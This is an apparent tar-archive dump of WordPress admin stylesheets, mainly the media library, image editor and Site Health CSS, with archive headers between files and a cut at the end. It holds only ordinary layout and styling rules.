"\f141" / ''; } .rtl .wp-slider .ui-slider-handle.to-handle:before { content: "\f139"; content: "\f139" / ''; right: -1px; } .wp-slider .ui-slider-range { position: absolute; font-size: 0.7em; display: block; border: 0; background-color: transparent; background-image: none; } .wp-slider.ui-slider-horizontal { height: 0.7em; } .wp-slider.ui-slider-horizontal .ui-slider-handle { top: -.25em; margin-left: -.6em; } .wp-slider.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .wp-slider.ui-slider-horizontal .ui-slider-range-min { left: 0; } .wp-slider.ui-slider-horizontal .ui-slider-range-max { right: 0; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .revision-tick.completed-false { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 600px) { .revisions-meta .author-card:not(.comparing-two-revisions .author-card) { display: flex; flex-direction: column; width: fit-content; gap: 16px; } .comparing-two-revisions .revisions-meta .restore-revision { margin-top: 16px; } .revisions-controls { padding-top: 0; } .revision-toggle-compare-mode { position: relative; padding: 1rem 0; } } @media screen and (max-width: 782px) { #diff-next-revision, #diff-previous-revision { margin-top: -1em; } .revisions-buttons { overflow: hidden; margin-bottom: 15px; } .revisions-controls, .comparing-two-revisions .revisions-controls { height: fit-content; } .revisions-tooltip { bottom: 155px; z-index: 2; } .comparing-two-revisions .revisions-tooltip { bottom: 200px; } .diff-meta { overflow: hidden; } table.diff { -ms-word-break: break-all; word-break: break-all; word-wrap: break-word; } } css/media.css 0000644 00000067274 15233246127 0007152 0 ustar 00 /*------------------------------------------------------------------------------ 14.0 - Media Screen ------------------------------------------------------------------------------*/ .media-item .describe { border-collapse: collapse; width: 100%; border-top: 1px solid #dcdcde; clear: both; cursor: default; } .media-item.media-blank .describe { border: 0; } .media-item .describe th { vertical-align: top; text-align: left; padding: 5px 10px 10px; width: 140px; } .media-item .describe .align th { padding-top: 0; } .media-item .media-item-info tr { background-color: transparent; } .media-item .describe td { padding: 0 8px 8px 0; vertical-align: top; } .media-item thead.media-item-info td { padding: 4px 10px 0; } .media-item .media-item-info .A1B1 { padding: 0 0 0 10px; } .media-item td.savesend { padding-bottom: 15px; } .media-item .thumbnail { max-height: 128px; max-width: 128px; } .media-list-subtitle { display: block; } .media-list-title { display: block; } #wpbody-content #async-upload-wrap a { display: none; } .media-upload-form { margin-top: 20px; } .media-upload-form td label { margin-right: 6px; margin-left: 2px; } .media-upload-form .align .field label { display: inline; padding: 0 0 0 23px; margin: 0 1em 0 3px; font-weight: 600; } .media-upload-form tr.image-size label { margin: 0 0 0 5px; font-weight: 600; } .media-upload-form th.label label { font-weight: 600; margin: 0.5em; font-size: 13px; } .media-upload-form th.label label span { padding: 0 5px; } .media-item .describe input[type="text"], .media-item .describe textarea { width: 460px; } .media-item .describe p.help { margin: 0; padding: 0 0 0 5px; } .describe-toggle-on, .describe-toggle-off { display: block; line-height: 2.76923076; float: right; margin-right: 10px; } .media-item .attachment-tools { display: flex; align-items: center; } .media-item .edit-attachment { padding: 14px 0; display: block; margin-right: 10px; } .media-item .edit-attachment.copy-to-clipboard-container { display: flex; margin-top: 0; } .media-item-copy-container .success { line-height: 0; } .media-item button .copy-attachment-url { margin-top: 14px; } .media-item .copy-to-clipboard-container { margin-top: 7px; } .media-item .describe-toggle-off, .media-item.open .describe-toggle-on { display: none; } .media-item.open .describe-toggle-off { display: block; } .media-upload-form .media-item { min-height: 70px; margin-bottom: 1px; position: relative; width: 100%; background: #fff; } .media-upload-form .media-item, .media-upload-form .media-item .error { box-shadow: 0 1px 0 #dcdcde; } #media-items:empty { border: 0 none; } .media-item .filename { padding: 14px 2px; overflow: hidden; margin-left: 4px; } .media-item .pinkynail { float: left; margin: 14px; max-height: 70px; max-width: 70px; } .media-item .startopen, .media-item .startclosed { display: none; } .media-item .progress { display: inline-block; height: 22px; margin: 0 6px 7px; width: 200px; line-height: 2em; padding: 0; overflow: hidden; border-radius: 22px; background: #dcdcde; box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); } .media-item .bar { z-index: 9; width: 0; height: 100%; margin-top: -22px; border-radius: 22px; background-color: #2271b1; box-shadow: inset 0 0 2px rgba(0, 0, 0, 0.3); } .media-item .progress .percent { z-index: 10; position: relative; width: 200px; padding: 0; color: #fff; text-align: center; line-height: 22px; font-weight: 400; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2); } .upload-php .fixed .column-parent { width: 15%; } .js .html-uploader #plupload-upload-ui { display: none; } .js .html-uploader #html-upload-ui { display: block; } #html-upload-ui #async-upload { font-size: 1em; } .media-upload-form .media-item.error, .media-upload-form .media-item .error { width: auto; margin: 0 0 1px; } .media-upload-form .media-item .error { padding: 10px 0 10px 14px; min-height: 50px; } .media-item .error-div button.dismiss { float: right; margin: 0 10px 0 15px; } /*------------------------------------------------------------------------------ 14.1 - Media Library ------------------------------------------------------------------------------*/ .find-box { background-color: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); width: 600px; overflow: hidden; margin-left: -300px; position: fixed; top: 30px; bottom: 30px; left: 50%; z-index: 100105; } .find-box-head { background: #fff; border-bottom: 1px solid #dcdcde; height: 36px; font-size: 18px; font-weight: 600; line-height: 2; padding: 0 36px 0 16px; position: absolute; top: 0; left: 0; right: 0; } .find-box-inside { overflow: auto; padding: 16px; background-color: #fff; position: absolute; top: 37px; bottom: 45px; overflow-y: scroll; width: 100%; box-sizing: border-box; } .find-box-search { padding-bottom: 16px; } .find-box-search .spinner { float: none; left: 105px; position: absolute; } .find-box-search, #find-posts-response { position: relative; /* RTL fix, #WP28010 */ } #find-posts-input, #find-posts-search { float: left; } #find-posts-input { width: 140px; height: 28px; margin: 0 4px 0 0; } .widefat .found-radio { padding-right: 0; width: 16px; } #find-posts-close { width: 36px; height: 36px; border: none; padding: 0; position: absolute; top: 0; right: 0; cursor: pointer; text-align: center; background: none; color: #646970; } #find-posts-close:hover, #find-posts-close:focus { color: var(--wp-admin-theme-color-darker-20, #183ad6); } #find-posts-close:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } #find-posts-close:before { font: normal 20px/36px dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; content: "\f158"; content: "\f158" / ''; } .find-box-buttons { padding: 8px 16px; background: #fff; border-top: 1px solid #dcdcde; position: absolute; bottom: 0; left: 0; right: 0; } @media screen and (max-width: 782px) { .find-box-inside { bottom: 57px; } #delete_all { margin-bottom: 0; } } @media screen and (max-width: 660px) { .find-box { top: 0; bottom: 0; left: 0; right: 0; margin: 0; width: 100%; } } .ui-find-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 100100; } .drag-drop #drag-drop-area { border: 4px dashed #c3c4c7; height: 200px; } .drag-drop .drag-drop-inside { margin: 60px auto 0; width: 250px; } .drag-drop-inside p { font-size: 14px; margin: 5px 0; display: none; } .drag-drop .drag-drop-inside p { text-align: center; } .drag-drop-inside p.drag-drop-info { font-size: 20px; } .drag-drop .drag-drop-inside p, .drag-drop-inside p.drag-drop-buttons { display: block; } /* #drag-drop-area:-moz-drag-over { border-color: #83b4d8; } border color while dragging a file over the uploader drop area */ .drag-drop.drag-over #drag-drop-area { border-color: #9ec2e6; } #plupload-upload-ui { position: relative; } .post-type-attachment .wp-filter select { margin: 0 6px 0 0; } /** * Media Library grid view */ .media-frame.mode-grid, .media-frame.mode-grid .media-frame-content, .media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments, .media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper, .media-frame.mode-grid .uploader-inline-content { position: static; } /* Regions we don't use at all */ .media-frame.mode-grid .media-frame-title, .media-frame.mode-grid .media-frame-router, .media-frame.mode-grid .media-frame-menu { display: none; } .media-frame.mode-grid .media-frame-content { background-color: transparent; border: none; } .upload-php .mode-grid .media-sidebar { position: relative; width: auto; margin-top: 12px; padding: 0 16px; border-left: 4px solid #d63638; box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); background-color: #fff; } .upload-php .mode-grid .hide-sidebar .media-sidebar { display: none; } .upload-php .mode-grid .media-sidebar .media-uploader-status { border-bottom: none; padding-bottom: 0; max-width: 100%; } .upload-php .mode-grid .media-sidebar .upload-error { margin: 12px 0; padding: 4px 0 0; border: none; box-shadow: none; background: none; } .upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2 { display: none; } .media-frame.mode-grid .uploader-inline { position: relative; top: auto; right: auto; left: auto; bottom: auto; padding-top: 0; margin-top: 20px; border: 4px dashed #c3c4c7; } .media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments, .media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper { position: relative; top: 94px; /* prevent jumping up when the toolbar becomes fixed */ padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */ } .media-frame.mode-grid .attachment:focus, .media-frame.mode-grid .selected.attachment:focus, .media-frame.mode-grid .attachment.details:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -6px; } .media-frame.mode-grid .selected.attachment { box-shadow: inset 0 0 0 5px #f0f0f1, inset 0 0 0 7px #c3c4c7; } .media-frame.mode-grid .attachment.details { box-shadow: inset 0 0 0 3px #f0f0f1, inset 0 0 0 7px var(--wp-admin-theme-color, #3858e9); } .media-frame.mode-grid.mode-select .attachment .thumbnail { opacity: 0.65; } .media-frame.mode-select .attachment.selected .thumbnail { opacity: 1; } .media-frame.mode-grid .media-toolbar { margin-bottom: 15px; height: auto; } .media-frame.mode-grid .media-toolbar label:not(.media-search-input-label) { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .media-frame.mode-grid .media-toolbar select { margin: 0 10px 0 0; min-height: 32px; line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding: 0 24px 0 8px; } .media-frame.mode-grid .media-toolbar input[type="search"] { min-height: 32px; padding: 0 8px; } .media-frame.mode-grid .media-toolbar-secondary { display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .media-frame.mode-grid.mode-edit .media-toolbar-secondary > .select-mode-toggle-button { margin: 0 8px 0 0; height: 100%; } .media-frame.mode-grid .attachments-browser .bulk-select { display: inline-block; margin: 0 10px 0 0; } .media-frame.mode-grid .search { margin-top: 0; } .media-frame-content .media-search-input-label { vertical-align: baseline; } .attachments-browser .media-toolbar-secondary > .media-button { margin-right: 10px; } .media-frame.mode-select .attachments-browser.fixed .media-toolbar { position: fixed; top: 32px; left: auto; right: 20px; margin-top: 0; } .media-frame.mode-grid .attachments-browser { padding: 0; } .media-frame.mode-grid .attachments-browser .attachments { padding: 2px; } .media-frame.mode-grid .attachments-browser .no-media { color: #646970; /* same as no plugins and no themes */ font-size: 18px; font-style: normal; margin: 0; padding: 100px 0 0; text-align: center; } /** * Attachment details modal */ .edit-attachment-frame { display: block; height: 100%; width: 100%; } .edit-attachment-frame .edit-media-header { overflow: hidden; } .upload-php .media-modal-close .media-modal-icon:before { content: "\f335"; content: "\f335" / ''; font-size: 22px; } .upload-php .media-modal-close, .edit-attachment-frame .edit-media-header .left, .edit-attachment-frame .edit-media-header .right { cursor: pointer; color: #787c82; background-color: transparent; height: 50px; width: 50px; padding: 0; position: absolute; text-align: center; border: 0; border-left: 1px solid #dcdcde; transition: color .1s ease-in-out, background .1s ease-in-out; } .upload-php .media-modal-close { top: 0; right: 0; } .edit-attachment-frame .edit-media-header .left { right: 102px; } .edit-attachment-frame .edit-media-header .right { right: 51px; } .edit-attachment-frame .media-frame-title { left: 0; right: 150px; /* leave space for prev/next/close */ } .edit-attachment-frame .edit-media-header .right:before, .edit-attachment-frame .edit-media-header .left:before { font: normal 20px/50px dashicons !important; display: inline; font-weight: 300; } .upload-php .media-modal-close:hover, .upload-php .media-modal-close:focus, .edit-attachment-frame .edit-media-header .left:hover, .edit-attachment-frame .edit-media-header .right:hover, .edit-attachment-frame .edit-media-header .left:focus, .edit-attachment-frame .edit-media-header .right:focus { background: #dcdcde; border-color: #c3c4c7; color: #000; outline: none; box-shadow: none; } .upload-php .media-modal-close:focus, .edit-attachment-frame .edit-media-header .left:focus, .edit-attachment-frame .edit-media-header .right:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .upload-php .media-modal-close:focus .media-modal-icon:before, .upload-php .media-modal-close:hover .media-modal-icon:before { color: #000; } .edit-attachment-frame .edit-media-header .left:before { content: "\f341"; content: "\f341" / ''; } .edit-attachment-frame .edit-media-header .right:before { content: "\f345"; content: "\f345" / ''; } .edit-attachment-frame .edit-media-header [disabled], .edit-attachment-frame .edit-media-header [disabled]:hover { color: #c3c4c7; background: inherit; cursor: default; } .edit-attachment-frame .media-frame-content, .edit-attachment-frame .media-frame-router { left: 0; } .edit-attachment-frame .media-frame-content { border-bottom: none; bottom: 0; top: 50px; } .edit-attachment-frame .attachment-details { position: absolute; overflow: auto; top: 0; bottom: 0; right: 0; left: 0; box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1); } .edit-attachment-frame .attachment-media-view { float: left; width: 65%; height: 100%; } .edit-attachment-frame .attachment-media-view .thumbnail { box-sizing: border-box; padding: 16px; height: 100%; } .edit-attachment-frame .attachment-media-view .details-image { display: block; margin: 0 auto 16px; max-width: 100%; max-height: 90%; max-height: calc( 100% - 56px ); /* leave space for actions underneath */ background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 0 0, 10px 10px; background-size: 20px 20px; } .edit-attachment-frame .attachment-media-view .details-image.icon { background: none; } .edit-attachment-frame .attachment-media-view .attachment-actions { text-align: center; } .edit-attachment-frame .wp-media-wrapper { margin-bottom: 12px; } .edit-attachment-frame input, .edit-attachment-frame textarea { padding: 4px 8px; line-height: 1.42857143; } .edit-attachment-frame .attachment-info { overflow: auto; box-sizing: border-box; margin-bottom: 0; padding: 12px 16px 0; width: 35%; height: 100%; box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1); border-bottom: 0; border-left: 1px solid #dcdcde; background: #f6f7f7; } .edit-attachment-frame .attachment-info .details, .edit-attachment-frame .attachment-info .settings { position: relative; /* RTL fix, #WP29352 */ overflow: hidden; float: none; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px solid #dcdcde; } .edit-attachment-frame .attachment-info .filename { font-weight: 400; color: #646970; } .edit-attachment-frame .attachment-info .thumbnail { margin-bottom: 12px; } .attachment-info .actions { margin-bottom: 16px; } .attachment-info .actions a { display: inline; text-decoration: none; } .copy-to-clipboard-container { display: flex; align-items: center; margin-top: 8px; clear: both; } .copy-to-clipboard-container .copy-attachment-url { white-space: normal; } .copy-to-clipboard-container .success { color: #007017; margin-left: 8px; } /*------------------------------------------------------------------------------ 14.2 - Image Editor ------------------------------------------------------------------------------*/ .wp_attachment_details .attachment-alt-text { margin-bottom: 5px; } .wp_attachment_details #attachment_alt { max-width: 500px; height: 3.28571428em; } .wp_attachment_details .attachment-alt-text-description { margin-top: 5px; } .wp_attachment_details label[for="content"] { font-size: 13px; line-height: 1.5; margin: 1em 0; } .wp_attachment_details #attachment_caption { height: 4em; } .describe .image-editor { vertical-align: top; } .imgedit-wrap { position: relative; padding-top: 10px; } .image-editor p, .image-editor fieldset { margin: 8px 0; } .image-editor legend { margin-bottom: 5px; } .describe .imgedit-wrap .image-editor { padding: 0 5px; } .wp_attachment_holder div.updated { margin-top: 0; } .wp_attachment_holder .imgedit-wrap > div { height: auto; } .imgedit-panel-content { display: flex; flex-wrap: wrap; gap: 20px; margin-bottom: 20px; } .imgedit-settings { max-width: 240px; /* Prevent reflow when help info is expanded. */ } .imgedit-group-controls > * { display: none; } .imgedit-panel-active .imgedit-group-controls > * { display: block; } .imgedit-panel-active .imgedit-group-controls > .imgedit-crop-apply { display: flex; } .imgedit-crop-apply { gap: 4px; flex-wrap: wrap; } .wp_attachment_holder .imgedit-wrap .image-editor { float: right; width: 250px; } .image-editor input { margin-top: 0; vertical-align: middle; } .imgedit-wait { position: absolute; top: 0; bottom: 0; width: 100%; background: #fff; opacity: 0.7; filter: alpha(opacity=70); display: none; } .imgedit-wait:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; left: 50%; top: 50%; margin: -10px 0 0 -10px; background: transparent url(../images/spinner.gif) no-repeat center; background-size: 20px 20px; transform: translateZ(0); } .no-float { float: none; } .media-disabled, .image-editor .disabled { /* WCAG 1.4.3 Text or images of text that are part of an inactive user interface component ... have no contrast requirement. */ color: #a7aaad; } .A1B1 { overflow: hidden; } .wp_attachment_image .button, .A1B1 .button { float: left; } .no-js .wp_attachment_image .button { display: none; } .wp_attachment_image .spinner, .A1B1 .spinner { float: left; } .imgedit-menu .note-no-rotate { clear: both; margin: 0; padding: 1em 0 0; } .imgedit-menu .button:after, .imgedit-menu .button:before { font: normal 16px/1 dashicons; margin-right: 8px; vertical-align: middle; position: relative; top: -2px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .imgedit-menu .imgedit-rotate.button:after { content: '\f140'; margin-left: 2px; margin-right: 0; } .imgedit-menu .imgedit-rotate.button[aria-expanded="true"]:after { content: '\f142'; } .imgedit-menu .button.disabled { color: #a7aaad; border-color: #dcdcde; background: #f6f7f7; box-shadow: none; text-shadow: 0 1px 0 #fff; cursor: default; transform: none; } .imgedit-crop:before { content: "\f165"; content: "\f165" / ''; } .imgedit-scale:before { content: "\f211"; content: "\f211" / ''; } .imgedit-rotate:before { content: "\f167"; content: "\f167" / ''; } .imgedit-undo:before { content: "\f171"; content: "\f171" / ''; } .imgedit-redo:before { content: "\f172"; content: "\f172" / ''; } .imgedit-crop-wrap { position: relative; } .imgedit-crop-wrap img { background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 0 0, 10px 10px; background-size: 20px 20px; } .imgedit-crop-wrap { padding: 20px; background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 0 0, 10px 10px; background-size: 20px 20px; } .imgedit-crop { margin: 0 8px 0 0; } .imgedit-rotate { margin: 0 8px 0 3px; } .imgedit-undo { margin: 0 3px; } .imgedit-redo { margin: 0 8px 0 3px; } .imgedit-thumbnail-preview-group { display: flex; flex-wrap: wrap; column-gap: 10px; } .imgedit-thumbnail-preview { margin: 10px 8px 0 0; } .imgedit-thumbnail-preview-caption { display: block; } #poststuff .imgedit-group-top h2 { display: inline-block; margin: 0; padding: 0; font-size: 14px; line-height: 1.4; } #poststuff .imgedit-group-top .button-link { text-decoration: none; color: #1d2327; } .imgedit-applyto .imgedit-label { display: block; padding: .5em 0 0; } .imgedit-popup-menu, .imgedit-help { display: none; padding-bottom: 8px; } .imgedit-panel-tools > .imgedit-menu { display: flex; column-gap: 4px; align-items: flex-start; flex-wrap: wrap; } .imgedit-popup-menu { width: calc( 100% - 20px ); position: absolute; background: #fff; padding: 10px; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); } .image-editor .imgedit-menu .imgedit-popup-menu button { display: block; margin: 2px 0; width: 100%; white-space: break-spaces; line-height: 1.5; padding-top: 3px; padding-bottom: 2px; } .imgedit-rotate-menu-container { position: relative; } .imgedit-help.imgedit-restore { padding-bottom: 0; } /* higher specificity than buttons */ .image-editor .imgedit-settings .imgedit-help-toggle, .image-editor .imgedit-settings .imgedit-help-toggle:hover, .image-editor .imgedit-settings .imgedit-help-toggle:active { border: 1px solid transparent; margin: -1px 0 0 -1px; padding: 0; background: transparent; color: var(--wp-admin-theme-color); font-size: 20px; line-height: 1; cursor: pointer; box-sizing: content-box; box-shadow: none; } .image-editor .imgedit-settings .imgedit-help-toggle:focus { color: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .form-table td.imgedit-response { padding: 0; } .imgedit-submit-btn { margin-left: 20px; } .imgedit-wrap .nowrap { white-space: nowrap; font-size: 12px; line-height: inherit; } span.imgedit-scale-warn { display: flex; align-items: center; margin: 4px; gap: 4px; color: #b32d2e; font-style: normal; visibility: hidden; vertical-align: middle; } .imgedit-save-target { margin: 8px 0; } .imgedit-save-target legend { font-weight: 600; } .imgedit-group { margin-bottom: 20px; } .image-editor .imgedit-original-dimensions { display: inline-block; } .image-editor .imgedit-scale-controls input[type="text"], .image-editor .imgedit-crop-ratio input[type="text"], .image-editor .imgedit-crop-sel input[type="text"], .image-editor .imgedit-scale-controls input[type="number"], .image-editor .imgedit-crop-ratio input[type="number"], .image-editor .imgedit-crop-sel input[type="number"] { width: 80px; font-size: 14px; padding: 0 8px; } .imgedit-separator { display: inline-block; width: 7px; text-align: center; font-size: 13px; color: #3c434a; } .image-editor .imgedit-scale-button-wrapper { margin-top: 0.3077em; display: block; } .image-editor .imgedit-scale-controls .button { margin-bottom: 0; } audio, video { display: inline-block; max-width: 100%; } .wp-core-ui .mejs-container { width: 100%; max-width: 100%; } .wp-core-ui .mejs-container * { box-sizing: border-box; } .wp-core-ui .mejs-time { box-sizing: content-box; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .imgedit-wait:before { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { .edit-attachment-frame input, .edit-attachment-frame textarea { line-height: 1.5; } .wp_attachment_details label[for="content"] { font-size: 14px; line-height: 1.5; } .wp_attachment_details textarea { line-height: 1.5; } .wp_attachment_details #attachment_alt { height: 3.375em; } .media-upload-form .media-item.error, .media-upload-form .media-item .error { font-size: 13px; line-height: 1.5; } .media-upload-form .media-item.error { padding: 1px 10px; } .media-upload-form .media-item .error { padding: 10px 0 10px 12px; } .image-editor .imgedit-scale input[type="text"], .image-editor .imgedit-crop-ratio input[type="text"], .image-editor .imgedit-crop-sel input[type="text"] { font-size: 16px; padding: 6px 10px; } .wp_attachment_holder .imgedit-wrap .imgedit-panel-content, .wp_attachment_holder .imgedit-wrap .image-editor { float: none; width: auto; max-width: none; padding-bottom: 16px; } .copy-to-clipboard-container .success { font-size: 14px; } /* Restructure image editor on narrow viewports. */ .imgedit-crop-wrap img{ width: 100%; } .media-modal .imgedit-wrap .imgedit-panel-content, .media-modal .imgedit-wrap .image-editor { position: initial !important; } .media-modal .imgedit-wrap .image-editor { box-sizing: border-box; width: 100% !important; } .image-editor .imgedit-scale-button-wrapper { display: inline-block; } } @media only screen and (max-width: 600px) { .media-item-wrapper { grid-template-columns: 1fr; } } /** * Media queries for media grid. */ @media only screen and (max-width: 1120px) { /* override for media-views.css */ #wp-media-grid .wp-filter .attachment-filters { max-width: 100%; } } @media only screen and (max-width: 1000px) { /* override for forms.css */ .wp-filter p.search-box { float: none; width: 100%; display: flex; flex-wrap: nowrap; column-gap: 0; } .wp-filter p.search-box #media-search-input { width: 100%; } } @media only screen and (max-width: 782px) { .media-frame.mode-select .attachments-browser.fixed .media-toolbar { top: 46px; right: 10px; } .media-frame.mode-grid .media-toolbar select { min-height: 40px; padding: 0 24px 0 12px; } .media-frame.mode-grid .media-toolbar input[type="search"] { min-height: 40px; padding: 0 12px; } .wp-filter p.search-box { margin-bottom: 0; } } @media only screen and (max-width: 600px) { .media-frame.mode-select .attachments-browser.fixed .media-toolbar { top: 0; } } @media only screen and (max-width: 480px) { .edit-attachment-frame .media-frame-title { right: 110px; } .upload-php .media-modal-close, .edit-attachment-frame .edit-media-header .left, .edit-attachment-frame .edit-media-header .right { width: 40px; height: 40px; } .edit-attachment-frame .edit-media-header .right:before, .edit-attachment-frame .edit-media-header .left:before { line-height: 40px !important; } .edit-attachment-frame .edit-media-header .left { right: 82px; } .edit-attachment-frame .edit-media-header .right { right: 41px; } .edit-attachment-frame .media-frame-content { top: 40px; } .edit-attachment-frame .attachment-media-view { float: none; height: auto; width: 100%; } .edit-attachment-frame .attachment-info { height: auto; width: 100%; } } @media only screen and (max-width: 640px), screen and (max-height: 400px) { .upload-php .mode-grid .media-sidebar{ max-width: 100%; } } @media only screen and (max-width: 375px) { .media-item .attachment-tools { align-items: baseline; } .media-item .edit-attachment.copy-to-clipboard-container { flex-direction: column; } .copy-to-clipboard-container .success { line-height: normal; margin-top: 10px; } } css/site-health.css 0000644 00000014476 15233246127 0010276 0 ustar 00 /* Note: Any Site Health selectors that use duplicate styling from the Privacy settings screen are styled in the Privacy section of edit.css */ .health-check-body h2 { line-height: 1.4; } .health-check-body h3 { padding: 0; font-weight: 400; } .site-health-progress-wrapper { margin-bottom: 1rem; } .site-health-progress { display: inline-block; height: 20px; width: 20px; margin: 0; border-radius: 100%; position: relative; font-weight: 600; font-size: 0.4rem; } .site-health-progress-count { position: absolute; display: block; height: 80px; width: 80px; left: 50%; top: 50%; margin-top: -40px; margin-left: -40px; border-radius: 100%; line-height: 6.3; font-size: 2em; } .loading .site-health-progress svg #bar { stroke-dashoffset: 0; stroke: #c3c4c7; animation: loadingPulse 3s infinite ease-in-out; } .site-health-progress svg circle { stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; stroke: #c3c4c7; stroke-width: 2em; } .site-health-progress svg #bar { stroke-dashoffset: 565; stroke: #d63638; } .green .site-health-progress #bar { stroke: #00a32a; } .green .site-health-progress .site-health-progress-label { color: #00a32a; } .orange .site-health-progress #bar { stroke: #dba617; } .orange .site-health-progress .site-health-progress-label { color: #dba617; } .site-health-progress-label { font-weight: 600; line-height: 20px; margin-left: 0.3rem; } @keyframes loadingPulse { 0% { stroke: #c3c4c7; } 50% { stroke: var(--wp-admin-theme-color); } 100% { stroke: #c3c4c7; } } .health-check-tabs-wrapper { /* IE 11 */ display: -ms-inline-grid; -ms-grid-columns: 1fr 1fr 1fr 1fr; vertical-align: top; /* modern browsers */ display: inline-grid; grid-template-columns: 1fr 1fr 1fr 1fr; } .health-check-tabs-wrapper.tab-count-1 { grid-template-columns: 1fr; } .health-check-tabs-wrapper.tab-count-2 { grid-template-columns: 1fr 1fr; } .health-check-tabs-wrapper.tab-count-3 { grid-template-columns: 1fr 1fr 1fr; } .health-check-tab { display: block; /* IE 11 */ text-decoration: none; color: inherit; padding: 0.5rem 1rem 1rem; margin: 0 1rem; transition: box-shadow 0.5s ease-in-out; } .health-check-offscreen-nav-wrapper { position: relative; background: transparent; border: none; } .health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav { left: initial; } .health-check-offscreen-nav { display: none; position: absolute; padding-top: 10px; right: 0; top: 100%; width: 13rem; } .health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav { display: inline-block; } .health-check-offscreen-nav:before { position: absolute; content: ""; width: 0; height: 0; border-style: solid; border-width: 0 10px 5px; border-color: transparent transparent #ffffff; right: 20px; top: 5px; } .health-check-offscreen-nav .health-check-tab { background: #fff; box-shadow: 0 2px 5px 0 rgba( 0, 0, 0, 0.75 ); } .health-check-offscreen-nav .health-check-tab.active { box-shadow: inset 3px 0 #3582c4; font-weight: 600; } .health-check-body { max-width: 800px; margin: 0 auto; } .widefat.health-check-table th { font-size: 13px; } .health-check-table td:first-child { width: 30%; } .health-check-table td { width: 70%; } .health-check-table ul, .health-check-table ol { margin: 0; } .health-check-body li { line-height: 1.5; } .health-check-body .pass::before, .health-check-body .good::before { content: "\f147"; content: "\f147" / ''; color: #00a32a; } .health-check-body .warning::before { content: "\f460"; content: "\f460" / ''; color: #dba617; } .health-check-body .info::before { content: "\f348"; content: "\f348" / ''; color: #72aee6; } .health-check-body .fail::before, .health-check-body .error::before { content: "\f335"; content: "\f335" / ''; color: #d63638; } .site-health-copy-buttons { margin: 1rem 0; } .site-health-copy-buttons .copy-button-wrapper { display: inline-flex; align-items: center; margin: 0.5rem 0 1rem; } .site-health-copy-buttons .success { color: #007017; margin-left: 0.5rem; } .site-status-has-issues.hide { display: none; } .site-health-view-more { text-align: center; } .site-health-issues-wrapper:first-of-type { margin-top: 3rem; } .site-health-issues-wrapper { margin-bottom: 3rem; margin-top: 2rem; } .site-status-all-clear { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; height: 100%; width: 100%; margin: 0 0 3rem; } @media all and (min-width: 784px) { .site-status-all-clear { margin: 2rem 0 5rem; } } .site-status-all-clear.hide { display: none; } .site-status-all-clear .dashicons { font-size: 150px; height: 150px; margin-bottom: 2rem; width: 150px; } .site-status-all-clear .encouragement { font-size: 1.5rem; font-weight: 600; } .site-status-all-clear p { margin: 0; } .wp-core-ui .button.site-health-view-passed { position: relative; padding-right: 40px; padding-left: 20px; } .health-check-wp-paths-sizes.spinner { visibility: visible; float: none; margin: 0 4px; flex-shrink: 0; } /* Styling unique to the dashboard widget. */ #dashboard_site_health .site-health-details { padding-left: 16px; } #dashboard_site_health .site-health-details p:first-child { margin-top: 0; } #dashboard_site_health .site-health-details p:last-child { margin-bottom: 0; } #dashboard_site_health .health-check-widget { display: grid; grid-template-columns: 1fr 2fr; 